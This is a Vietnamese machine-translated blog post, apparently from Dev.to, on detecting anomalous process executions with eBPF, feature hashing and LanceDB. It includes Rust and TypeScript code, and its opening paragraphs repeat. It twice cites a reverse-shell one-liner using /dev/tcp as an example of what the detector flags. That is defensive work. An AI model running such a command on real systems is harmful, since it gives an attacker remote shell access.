Hầu hết các công cụ bảo mật hoạt động bằng cách yêu cầu người dùng xác định trước những gì được coi là "xấu". Falco sử dụng các quy tắc YAML. OSSEC có các chữ ký. Wazuh có một bộ quy tắc dài 5.000 dòng được tích hợp sẵn trong sản phẩm nhưng vẫn bỏ sót một nửa những gì quan trọng trong môi trường cụ thể của người dùng.
Vấn đề không phải là các quy tắc không tốt – mà là chúng chỉ có thể phát hiện những gì đã được nghĩ đến để viết quy tắc. Một cuộc tấn công mới, một mô hình triển khai bất thường, hoặc một tiến trình bất thường mà nhóm của bạn đã triển khai sáu tháng trước và quên mất, tất cả sẽ không bị phát hiện.
Chúng tôi mong muốn một điều khác biệt: một hệ thống học hỏi những gì được coi là "bình thường".
Hầu hết các công cụ bảo mật hoạt động bằng cách yêu cầu người dùng xác định trước những gì được coi là "xấu". Falco sử dụng các quy tắc YAML. OSSEC có các chữ ký. Wazuh có một bộ quy tắc dài 5.000 dòng đi kèm với sản phẩm nhưng vẫn bỏ sót một nửa những gì quan trọng trong môi trường cụ thể của người dùng.
Vấn đề không phải là các quy tắc tệ, mà là chúng chỉ có thể phát hiện những gì đã được ai đó nghĩ đến để viết quy tắc. Một cuộc tấn công mới, một mô hình triển khai bất thường hoặc một tiến trình độc hại mà nhóm của bạn đã triển khai sáu tháng trước và quên mất sẽ dễ dàng vượt qua.
Chúng tôi mong muốn một điều khác biệt: một hệ thống tự động học hỏi những gì được coi là "bình thường" trên mỗi máy chủ và khối lượng công việc, đồng thời gắn cờ bất kỳ sự sai lệch nào mà không cần cấu hình.
Dưới đây là cách chúng tôi xây dựng nó bằng cách sử dụng eBPF và LanceDB.
Bước 1: Thu thập mọi thứ ở cấp độ kernel bằng eBPF
eBPF cho phép bạn gắn các chương trình vào các sự kiện kernel với chi phí tối thiểu. Chúng tôi gắn vào điểm theo dõi sys_enter_execve, điểm này kích hoạt mỗi khi bất kỳ tiến trình nào được thực thi trên máy, trước khi tiến trình đó bắt đầu chạy.
Đối với mỗi lần thực thi, chúng tôi thu thập:
Tên tiến trình (comm) và dòng lệnh đầy đủ (argv)
Tên tiến trình cha
UID của tiến trình gọi
Bất kỳ kết nối mạng đang hoạt động nào (IP nguồn/đích, cổng)
Điều này được viết bằng Rust sử dụng framework Aya, framework này biên dịch chương trình kernel eBPF riêng biệt và tải nó vào thời gian chạy:
```
[tracepoint]
pub fn gretl_execve(ctx: TracePointContext) -> u32 {
let filename_ptr = unsafe { ctx.read_at::(16)? } as *const u8;
let pidtgid = bpf_get_current_pid_tgid();
let pid = (pidtgid >> 32) as u32;
let mut event = ExecveEvent {
pid,
comm: [0u8; 16],
filename: [0u8; 64],
argv1: [0u8; 64],
// ...
};
if let Ok(comm) = bpf_get_current_comm() {
event.comm = comm;
}
emit_execve(&event)
}
```
Các sự kiện được ghi vào một bộ đệm vòng và được tác nhân không gian người dùng tiêu thụ, tác nhân này nhóm chúng lại và gửi (POST) đến backend mỗi 60 giây. Trên kernel ≥ 5.8 với BTF được bật, không cần công cụ nào, không có tác nhân bên trong các container của bạn, không có sidecar, không có thay đổi nào đối với mã ứng dụng của bạn.
Đối với các máy chủ không hỗ trợ eBPF, tác nhân Node.js sẽ quay lại đọc trực tiếp /proc//cmdline và /proc//status, theo dõi các PID mới mỗi khoảng thời gian. Bạn sẽ mất hook kernel thời gian thực nhưng vẫn nhận được dữ liệu đo từ xa của tiến trình.
Bước 2: Biểu diễn mỗi lần thực thi tiến trình dưới dạng một vector
Sự kiện thô – tên tiến trình, chuỗi cmdline, tiến trình cha, cổng – không thể so sánh trực tiếp. Để đo lường sự tương đồng giữa các lần thực thi, chúng ta cần biến mỗi sự kiện thành một vector có độ dài cố định.
Chúng tôi sử dụng băm đặc trưng (feature hashing): mã hóa các trường sự kiện, băm mỗi mã thông báo vào một vị trí trong một vector 128 chiều và tích lũy các đóng góp có dấu. Kết quả được chuẩn hóa thành một vector đơn vị.
```
function featureVector(event: ProcessEvent): number[] {
const vec = new Float32Array(128);
const tokens = [
event.process_name,
event.parent_process,
event.event_type,
String(event.local_port),
String(event.remote_port),
...tokenise(event.cmdline), // split cmdline into meaningful tokens
];
for (let i = 0; i < tokens.length; i++) {
const t = tokens[i].toLowerCase().trim();
if (!t) continue;
const idx = hashStr(t, i * 31) % 128;
const sign = (hashStr(t, i * 31 + 1) & 1) ? 1 : -1;
vec[idx] += sign;
}
// L2 normalise so cosine distance is well-defined
let norm = 0;
for (let i = 0; i < 128; i++) norm += vec[i] * vec[i];
norm = Math.sqrt(norm) || 1;
return Array.from(vec).map(v => v / norm);
}
```
Băm đặc trưng (feature hashing) là phương pháp xác định, không yêu cầu mô hình bên ngoài, không làm tăng độ trễ và hoạt động hiệu quả với loại đầu vào văn bản có cấu trúc này. Một lệnh `bash -i >& /dev/tcp/...` và một lệnh gọi `bash --login` thông thường sẽ nằm ở những vùng rất khác nhau trong không gian vector.
Tại sao không sử dụng mô hình nhúng thần kinh (neural embedding model)?
Chúng tôi đã xem xét nghiêm túc vấn đề này. Các mô hình như all-MiniLM-L6-v2 (22 MB, 384 chiều) hoặc text-embedding-3-small của OpenAI sẽ cung cấp sự tương đồng ngữ nghĩa phong phú hơn — chúng biết rằng `sh` và `bash` đều là các shell, rằng `/tmp` và `/dev/shm` đều là các đường dẫn ghi tạm thời.
Vấn đề nằm ở chi phí vận hành tại thời điểm nhập dữ liệu. Agent báo cáo các sự kiện tiến trình khoảng 60 giây một lần cho mỗi máy chủ. Đối với một hệ thống gồm 50 máy chủ, đó là khoảng 3.000 sự kiện mỗi giờ, mỗi sự kiện cần một lệnh gọi nhúng trước khi có thể được chấm điểm và lưu trữ. Các lựa chọn là:
Mô hình cục bộ trên backend — hoạt động, nhưng thêm một phụ thuộc khởi động nguội (cold-start dependency), khoảng 200 MB trọng số mô hình trên đĩa và 5–20 ms CPU cho mỗi sự kiện. Trên một phiên bản Fly.io nhỏ được chia sẻ với máy chủ API, điều này đáng chú ý.
API bên ngoài (ví dụ: OpenAI) — thêm độ trễ mạng vào mỗi yêu cầu nhập dữ liệu, chi phí trên mỗi token tăng theo quy mô hệ thống và một phụ thuộc bên ngoài cứng nhắc có thể làm gián đoạn quy trình bảo mật của bạn.
Băm đặc trưng — chạy trong <0,1 ms, không có phụ thuộc, không có lệnh gọi mạng, hoàn toàn xác định. Cùng một đầu vào luôn tạo ra cùng một vector, điều này cũng giúp việc kiểm thử trở nên đơn giản.
Đối với đầu vào cụ thể này — các trường có cấu trúc như tên tiến trình, PID cha, token dòng lệnh — băm đặc trưng hoạt động hiệu quả đáng ngạc nhiên. `bash -i >& /dev/tcp/10.0.0.1/4444 0>&1` và `bash --login` nằm ở những vùng rất khác nhau trong không gian vector vì tập hợp token của chúng hầu như không trùng lặp. Đó là tất cả những gì chúng tôi cần để chấm điểm bất thường.
Lớp nhúng được cố ý cô lập phía sau một hàm `featureVector()` duy nhất. Việc thay thế nó bằng một mô hình thần kinh sau này chỉ là một thay đổi hàm — logic chấm điểm, các bảng LanceDB và giao diện API không quan tâm đến nội dung bên trong.
Bước 3: Lưu trữ và truy vấn với LanceDB
LanceDB là một cơ sở dữ liệu vector nhúng — nó chạy bên trong tiến trình của bạn, lưu trữ dữ liệu trên đĩa và hỗ trợ tìm kiếm láng giềng gần nhất xấp xỉ nhanh mà không yêu cầu cơ sở hạ tầng riêng biệt.
Chúng tôi tạo một bảng LanceDB cho mỗi cặp (org_id, workload). Mỗi hàng lưu trữ vector 128 chiều và một dấu thời gian. Bảng phát triển khi các sự kiện mới đến và các mục cũ được cắt tỉa sau 7 ngày.
`export async function scoreAndLearn(`
`org_id: string,`
`workload: string,`
`event: ProcessEvent,`
`): Promise {`
`const conn =`
Nguồn tin: Dev.to Machine Learning — Tác giả: Gretl. Bản dịch tiếng Việt do AI thực hiện, có thể có sai sót.